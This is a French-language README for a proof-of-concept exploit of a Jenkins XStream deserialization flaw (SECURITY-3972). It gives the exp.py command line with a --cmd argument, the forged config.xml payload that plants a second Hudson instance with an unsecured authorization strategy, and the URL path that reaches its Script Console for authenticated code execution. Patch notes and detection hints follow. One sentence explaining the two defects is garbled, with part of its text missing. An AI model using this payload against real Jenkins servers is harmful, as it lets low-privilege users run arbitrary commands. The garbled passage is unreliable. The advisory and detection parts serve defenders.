
Jenkins PersistenceRoot Deserialization RCE (SECURITY-3972) — PoC et analyse. Nécessite Item/Configure ; affecte les versions hebdomadaires <= 2.579 / LTS <= 2.568.2
PoC pour la vulnérabilité de désérialisation Jenkins corrigée le 2026-09-02 (avis). Un compte à faibles privilèges disposant de la permission Item/Configure sur un seul job peut transformer cela en exécution de code arbitraire en tant qu'utilisateur OS de Jenkins.
| Affecté | Jenkins hebdomadaire ≤ 2.579, LTS ≤ 2.568.2 |
| Corrigé | hebdomadaire 2.580, LTS 2.568.3 |
| Précondition | authentifié, Item/Configure sur ≥ 1 job |
| Impact | RCE en tant que compte de service Jenkins |
| CVSS | 8.8 (Élevé) |
Uniquement pour la recherche en sécurité autorisée sur des instances de test vulnérables.
pip install requests
python3 exp.py --url http://<target>:<port> --user <user> --password <pass> [--job <name>] --cmd id
Le script vérifie que le compte n'a pas de permission de script (403 attendu), soumet le config.xml forgé, puis route à travers le graphe d'objets injecté vers une Script Console dont la liste de contrôle d'accès (ACL) est contrôlée par l'attaquant.
Deux comportements de longue date de la pile XStream de Jenkins (hudson.util.XStream2 / RobustReflectionConverter) se combinent :
PersistenceRoot était désérialisé comme un objet ordinaire. Puisque XStream instancie via Unsafe.allocateInstance (sans constructeur), un attaquant pouvait forger un second singleton hudson.model.Hudson avec des valeurs de champs arbitraires — y compris authorizationStrategy.FingerprintAction.build, Run.project, AbstractItem.parent) sont transitoires, donc les objets injectés deviennent accessibles via HTTP — la formulation « gérer ensuite les requêtes HTTP via Stapler » de l'avis.POST /job/<job>/config.xml (nécessite uniquement Item/Configure) injecte dans les <actions> du job :
<actions>
<hudson.tasks.Fingerprinter_-FingerprintAction>
<build class="hudson.model.FreeStyleBuild"> <!-- PersistenceRoot imbriqué (défaut 1) ; champ transitoire (défaut 2) -->
<project class="hudson.model.FreeStyleProject"> <!-- Run.project : final transitoire protégé -->
<parent class="hudson.model.Hudson"> <!-- AbstractItem.parent : transitoire ; 2e Jenkins forgé -->
<authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
</parent>
<name>...</name>
<properties/> <!-- évite NPE dans Job.getOverrides() -->
</project>
</build>
<record/>
</hudson.tasks.Fingerprinter_-FingerprintAction>
</actions>
Stapler route ensuite la requête dans le graphe forgé :
| Segment d'URL | Résout vers | Chemin de code |
|---|---|---|
/job/<job>/fingerprints | FingerprintAction injecté | urlName == "fingerprints" + Actionable.getDynamic() |
/run | FreeStyleBuild forgé | FingerprintAction.getRun() lit le build transitoire |
/parent | FreeStyleProject forgé | Run.getParent() lit le project final transitoire |
/parent | hudson.model.Hudson forgé | AbstractItem.getParent() lit le parent transitoire |
/scriptText | Script Console de l'instance forgée | Jenkins.doScriptText() → _doScript(..., getACL()) |
Le contournement d'autorisation : doScriptText vérifie ADMINISTER contre l'instance qui a reçu la requête, c'est-à-dire getACL() du Hudson forgé, qui est dérivé de son propre champ authorizationStrategy — AuthorizationStrategy$Unsecured accorde tout. La stratégie d'autorisation du contrôleur réel ne participe jamais. Comme aucun constructeur ne s'exécute pendant la désérialisation, les initialiseurs de champs ne s'appliquent pas ; la charge utile doit définir authorizationStrategy (et properties) explicitement.
Diff de jenkins-2.579 → jenkins-2.580 :
RobustReflectionConverter.doUnmarshal refuse désormais de désérialiser un sous-type de PersistenceRoot dans un champ imbriqué (CriticalXStreamException : « Les objets PersistenceRoot sont des racines de documents et ne doivent pas apparaître comme valeurs de champs imbriqués »), n'autorisant que trois formes sûres : les références arrière XStream reference=, les remplaceurs non persistants resolves-to (Run$Replacer, User$Replacer, …), et les références scalaires de convertisseur à valeur unique.@XStreamNotDeserializable / @XStreamDeserializable plus TRANSIENT_FIELD_STRICT_MODE resserrent la désérialisation des champs transitoires par champ.Jenkins.readResolve() refuse désormais de désérialiser un second singleton Jenkins et a gagné un remplaceur writeReplace().test/src/test/java/jenkins/security/Security3972Test.java, Security3972QueueRestartTest.java.POST /job/*/config.xml inattendues contenant Fingerprinter_-FingerprintAction / hudson.model.Hudson imbriqués, ou requêtes vers /job/*/fingerprints/run/parent/parent/scriptText.config.xml des jobs pour détecter toute pollution.